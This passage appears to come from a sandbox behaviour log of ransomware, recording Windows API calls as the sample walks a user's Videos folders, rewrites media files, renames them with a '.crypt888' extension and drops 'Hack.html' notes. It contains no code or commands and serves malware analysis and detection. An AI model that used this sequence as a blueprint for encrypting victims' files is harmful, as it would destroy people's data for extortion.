HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\GZKAQloFDkGSAGi_7.flv.crypt888", lpFilePart=0x0) returned 0x65 [0085.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0085.257] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\GZKAQloFDkGSAGi_7.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\quc7bgirxjcvei6av_g\\de7fqttigal7q\\gzkaqlofdkgsagi_7.flv"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a448890, ftCreationTime.dwHighDateTime=0x1d45f1e, ftLastAccessTime.dwLowDateTime=0x4d6e0c50, ftLastAccessTime.dwHighDateTime=0x1d45c6f, ftLastWriteTime.dwLowDateTime=0xc404a520, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x17310)) returned 1 [0085.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0085.257] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\GZKAQloFDkGSAGi_7.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\quc7bgirxjcvei6av_g\\de7fqttigal7q\\gzkaqlofdkgsagi_7.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\GZKAQloFDkGSAGi_7.flv.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\quc7bgirxjcvei6av_g\\de7fqttigal7q\\gzkaqlofdkgsagi_7.flv.crypt888")) returned 1 [0085.258] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\Hack.html", lpFilePart=0x0) returned 0x50 [0085.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0085.258] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\quc7bgirxjcvei6av_g\\de7fqttigal7q\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0085.259] GetFileType (hFile=0x174) returned 0x1 [0085.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0085.259] GetFileType (hFile=0x174) returned 0x1 [0085.259] WriteFile (in: hFile=0x174, lpBuffer=0x26b197c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x26b197c*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0085.260] CloseHandle (hObject=0x174) returned 1 [0085.260] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\Hack.html", lpFilePart=0x0) returned 0x42 [0085.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0085.260] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\quc7bgirxjcvei6av_g\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0085.261] GetFileType (hFile=0x174) returned 0x1 [0085.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0085.261] GetFileType (hFile=0x174) returned 0x1 [0085.261] WriteFile (in: hFile=0x174, lpBuffer=0x26b418c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x26b418c*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0085.262] CloseHandle (hObject=0x174) returned 1 [0085.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0085.262] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB", lpFilePart=0x0) returned 0x2f [0085.262] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\", lpFilePart=0x0) returned 0x30 [0085.262] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a028 [0085.263] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0085.263] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0085.263] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0085.263] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0085.264] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0085.264] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0085.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0085.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0085.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0085.264] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB", lpFilePart=0x0) returned 0x2f [0085.264] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\", lpFilePart=0x0) returned 0x30 [0085.264] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a028 [0085.265] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0085.265] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0085.265] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0085.265] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0085.265] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0085.265] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0085.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0085.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0085.266] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\Sz-mQtVIR_TH0EIX_5.mp4", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\Sz-mQtVIR_TH0EIX_5.mp4", lpFilePart=0x0) returned 0x46 [0085.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0085.266] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\Sz-mQtVIR_TH0EIX_5.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\sz-mqtvir_th0eix_5.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.266] GetFileType (hFile=0x174) returned 0x1 [0085.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0085.266] GetFileType (hFile=0x174) returned 0x1 [0085.266] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x176c0 [0085.266] ReadFile (in: hFile=0x174, lpBuffer=0x3680c00, nNumberOfBytesToRead=0x176c0, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x3680c00*, lpNumberOfBytesRead=0x39ed24*=0x176c0, lpOverlapped=0x0) returned 1 [0085.267] CloseHandle (hObject=0x174) returned 1 [0085.312] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\Sz-mQtVIR_TH0EIX_5.mp4", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\Sz-mQtVIR_TH0EIX_5.mp4", lpFilePart=0x0) returned 0x46 [0085.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0085.312] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\Sz-mQtVIR_TH0EIX_5.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\sz-mqtvir_th0eix_5.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.313] GetFileType (hFile=0x174) returned 0x1 [0085.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0085.313] GetFileType (hFile=0x174) returned 0x1 [0085.313] WriteFile (in: hFile=0x174, lpBuffer=0x36f5e40*, nNumberOfBytesToWrite=0x176d0, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x36f5e40*, lpNumberOfBytesWritten=0x39ed14*=0x176d0, lpOverlapped=0x0) returned 1 [0085.316] CloseHandle (hObject=0x174) returned 1 [0085.320] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\Sz-mQtVIR_TH0EIX_5.mp4", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\Sz-mQtVIR_TH0EIX_5.mp4", lpFilePart=0x0) returned 0x46 [0085.320] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\Sz-mQtVIR_TH0EIX_5.mp4.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\Sz-mQtVIR_TH0EIX_5.mp4.crypt888", lpFilePart=0x0) returned 0x4f [0085.320] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0085.320] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\Sz-mQtVIR_TH0EIX_5.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\sz-mqtvir_th0eix_5.mp4"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c623ee0, ftCreationTime.dwHighDateTime=0x1d46567, ftLastAccessTime.dwLowDateTime=0x36a20690, ftLastAccessTime.dwHighDateTime=0x1d4650f, ftLastWriteTime.dwLowDateTime=0xc40e2aa0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x176d0)) returned 1 [0085.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0085.320] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\Sz-mQtVIR_TH0EIX_5.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\sz-mqtvir_th0eix_5.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\Sz-mQtVIR_TH0EIX_5.mp4.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\sz-mqtvir_th0eix_5.mp4.crypt888")) returned 1 [0085.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0085.321] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp", lpFilePart=0x0) returned 0x37 [0085.321] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\", lpFilePart=0x0) returned 0x38 [0085.321] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a728 [0085.322] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.322] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.322] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.322] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.322] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.322] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.323] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.323] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.323] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0085.323] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0085.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0085.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0085.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0085.323] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp", lpFilePart=0x0) returned 0x37 [0085.323] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\", lpFilePart=0x0) returned 0x38 [0085.324] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a728 [0085.324] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.324] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.324] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.324] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.324] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.325] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.325] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.325] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.325] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0085.325] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0085.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0085.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0085.325] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\D2X6 8DlvxuEOOrPsq.avi", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\D2X6 8DlvxuEOOrPsq.avi", lpFilePart=0x0) returned 0x4e [0085.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0085.326] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\D2X6 8DlvxuEOOrPsq.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\d2x6 8dlvxueoorpsq.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.326] GetFileType (hFile=0x174) returned 0x1 [0085.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0085.326] GetFileType (hFile=0x174) returned 0x1 [0085.326] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0x17432 [0085.326] ReadFile (in: hFile=0x174, lpBuffer=0x370d530, nNumberOfBytesToRead=0x17432, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x370d530*, lpNumberOfBytesRead=0x39ecf0*=0x17432, lpOverlapped=0x0) returned 1 [0085.327] CloseHandle (hObject=0x174) returned 1 [0085.350] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\D2X6 8DlvxuEOOrPsq.avi", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\D2X6 8DlvxuEOOrPsq.avi", lpFilePart=0x0) returned 0x4e [0085.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0085.350] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\D2X6 8DlvxuEOOrPsq.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\d2x6 8dlvxueoorpsq.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.352] GetFileType (hFile=0x174) returned 0x1 [0085.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0085.352] GetFileType (hFile=0x174) returned 0x1 [0085.352] WriteFile (in: hFile=0x174, lpBuffer=0x3781aa0*, nNumberOfBytesToWrite=0x17440, lpNumberOfBytesWritten=0x39ece0, lpOverlapped=0x0 | out: lpBuffer=0x3781aa0*, lpNumberOfBytesWritten=0x39ece0*=0x17440, lpOverlapped=0x0) returned 1 [0085.355] CloseHandle (hObject=0x174) returned 1 [0085.359] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\D2X6 8DlvxuEOOrPsq.avi", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\D2X6 8DlvxuEOOrPsq.avi", lpFilePart=0x0) returned 0x4e [0085.359] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\D2X6 8DlvxuEOOrPsq.avi.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\D2X6 8DlvxuEOOrPsq.avi.crypt888", lpFilePart=0x0) returned 0x57 [0085.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0085.359] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\D2X6 8DlvxuEOOrPsq.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\d2x6 8dlvxueoorpsq.avi"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37f81550, ftCreationTime.dwHighDateTime=0x1d45deb, ftLastAccessTime.dwLowDateTime=0xc0a22050, ftLastAccessTime.dwHighDateTime=0x1d46014, ftLastWriteTime.dwLowDateTime=0xc412ed60, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x17440)) returned 1 [0085.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0085.359] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\D2X6 8DlvxuEOOrPsq.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\d2x6 8dlvxueoorpsq.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\D2X6 8DlvxuEOOrPsq.avi.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\d2x6 8dlvxueoorpsq.avi.crypt888")) returned 1 [0085.360] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\fdxk8w6QY7zob2xnF.mp4", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\fdxk8w6QY7zob2xnF.mp4", lpFilePart=0x0) returned 0x4d [0085.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0085.360] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\fdxk8w6QY7zob2xnF.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\fdxk8w6qy7zob2xnf.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.360] GetFileType (hFile=0x174) returned 0x1 [0085.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0085.360] GetFileType (hFile=0x174) returned 0x1 [0085.361] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xb884 [0085.361] ReadFile (in: hFile=0x174, lpBuffer=0x2754384, nNumberOfBytesToRead=0xb884, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x2754384*, lpNumberOfBytesRead=0x39ecf0*=0xb884, lpOverlapped=0x0) returned 1 [0085.362] CloseHandle (hObject=0x174) returned 1 [0085.383] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\fdxk8w6QY7zob2xnF.mp4", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\fdxk8w6QY7zob2xnF.mp4", lpFilePart=0x0) returned 0x4d [0085.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0085.383] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\fdxk8w6QY7zob2xnF.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\fdxk8w6qy7zob2xnf.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.385] GetFileType (hFile=0x174) returned 0x1 [0085.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0085.385] GetFileType (hFile=0x174) returned 0x1 [0085.385] WriteFile (in: hFile=0x174, lpBuffer=0x27c3b0c*, nNumberOfBytesToWrite=0xb890, lpNumberOfBytesWritten=0x39ece0, lpOverlapped=0x0 | out: lpBuffer=0x27c3b0c*, lpNumberOfBytesWritten=0x39ece0*=0xb890, lpOverlapped=0x0) returned 1 [0085.387] CloseHandle (hObject=0x174) returned 1 [0085.388] GetFullPathNameW (in: 